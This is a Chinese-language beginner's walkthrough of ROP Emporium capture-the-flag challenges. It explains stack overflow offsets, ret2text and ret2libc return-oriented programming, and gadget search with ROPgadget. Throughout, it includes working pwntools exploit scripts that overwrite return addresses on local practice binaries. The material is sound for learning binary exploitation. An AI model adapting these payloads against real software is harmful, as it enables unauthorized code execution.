小白详解rop emporium
前言
rop emporium网站上提供了许多构造rop
的challenge
,作为小白的我从这里开始,专注于rop
链的构造。
ps:写完放了好久结果没投出去,我好菜啊-。-
题目
0x0
ret2win32
IDA打开,很容易找到溢出点
char s; // [esp+0h][ebp-28h]
可以看出s距ebp
的偏移为0x28
memset(&s, 0, 0x20u);
为s
分配了0x20
大小的内存
fgets(&s, 50, stdin)
从stdin
中读入50
从上面三条指令可以看出如果我們輸入0x28
那麼正好可以写到ebp
之前,后面的0x10
字节的内容就可以让我们任意的覆盖了。而且ebp
之后便是ret
的返回地址。
有一点值得引起注意,我们回车换行符同样会输入进去0x10
明确溢出点以及可溢出的字节后接下来我们就开始构造rop
,但在这之前我们还应检查一下程序开启了哪些保护,这决定了我们该采取何种rop
攻击方式
checksec ret2win32
有关linux下的保护措施,在此不做说明。
程序中已经有ret2win
函数,通过控制流跳转到此函数,便可得到flag
脚本如下:
from pwn import*
def attack_remote():
# echo 0 > /proc/sys/kernel/randomize_va_space
context(arch='i386', os='linux', endian='little', rename_corefiles=False)
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh', '-c']
conn = remote('localhost', 10000)
raw_input("go?")
payload = "a" * 0x28 + p32(0) + p32(0x08048659)
conn.send(payload)
conn.interactive()
attack_remote()
因为这是第一题所以简单说一下溢出点的判断,后续则专注与rop链的构造
ret2win64
仅仅是stack的offset发生了变化
脚本如下:
from pwn import*
def attack_remote():
# echo 0 > /proc/sys/kernel/randomize_va_space
context(arch='arm64', os='linux', endian='little', rename_corefiles=False)
# context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh', '-c']
conn = remote('localhost', 10000)
raw_input("go?")
payload = "a" * 0x20 + p64(0) + p64(0x400811)
conn.send(payload)
conn.interactive()
attack_remote()
可能有同学会疑问p64(0)
的作用,这是为了覆盖ebp
以上的rop我们称作ret2text
0x1
split32
溢出点还是一样的,只不过少了直接利用的函数,但是程序中提供了system
和/bin/cat flag.txt
,同样的ret到system
并且通过栈传入/bin/cat flag.txt
即可
脚本如下:
from pwn import*
def attack_remote():
# echo 0 > /proc/sys/kernel/randomize_va_space
context(arch='i386', os='linux', endian='little', rename_corefiles=False)
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh', '-c']
conn = remote('localhost', 10000)
raw_input("go?")
payload = "a" * 0x28 + p32(0) + p32(0x08048657)+p32(0x0804A030)
conn.send(payload)
conn.interactive()
此题还有意外一种思路,我们可以不直接返回到text
段,而是通过.plt
段,利用linux下的延迟绑定技术,找到内存中system
的真实地址,并且传入参数。
在linux中主要是通过ld.so
进行加载动态库,从图中我们也可以看到此时将libc
中的system
加载到内存
此时的脚本如下:
def attack_remote1():
# echo 0 > /proc/sys/kernel/randomize_va_space
context(arch='i386', os='linux', endian='little', rename_corefiles=False)
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh', '-c']
conn = remote('localhost', 10000)
raw_input("go?")
payload = "a" * 0x28 + p32(0) + p32(0x08048430)+p32(0)+p32(0x0804A030)
conn.send(payload)
conn.interactive()
我想有部分同学会对第二个p32(0)
感到困惑,其实我也很疑惑,正常跳转来说p32(0x08048430)
之后就应该接上p32(0x0804A030)
作为第一个参数。好吧,我比较喜欢钻死胡同,网上下了glibc
的源码,看了下system
函数的实现
int
__libc_system (const char *line)
{
if (line == NULL)
/* Check that we have a command processor available. It might
not be available after a chroot(), for example. */
return do_system ("exit 0") == 0;
return do_system (line);
}
weak_alias (__libc_system, system)
emmm,ida里面看看
其中eax
作为我们传入的参数,位于[esp+0Ch+arg_0]
中,结合上一条语句可以知道中间确实需要写一个p32(0)
作为填充。
完全可以当我这段没写,记住就好了哈!
至此,我们已经成功的拿到flag。
此种rop
我们称作ret2libc
split
由于64位使用寄存器传参,因此就不能像上题那样,我们必须把/bin/cat flag.txt
通过pop
传入寄存器中,这里就需要了解下万能rop链了。
这段代码是_libc_csu_init
中的代码,也就是所有的linux64位程序都会有这段,想必你一定知道IDA中的C
和D
键,其实pop r15
的机器码是41 5f
和pop rdi
的机器码是5f
,正是这微小的差别(不知道我这么解释能不能理解-。-)
当然啦,如果你不想理解,也可以直接使用工具ropper
或者ROPgadget
搜索相应的rop,由于第一次提到这两个工具,我在这里就简述一下这两个工具的使用。
两个工具差不多,都可以通过pip安装,这里就讲一下ROPgadget
ROPgadget -h
查看帮助,其中提供了很多例子。
ROPgadget --binary ./split --ropchain | grep "pop rdi ; ret"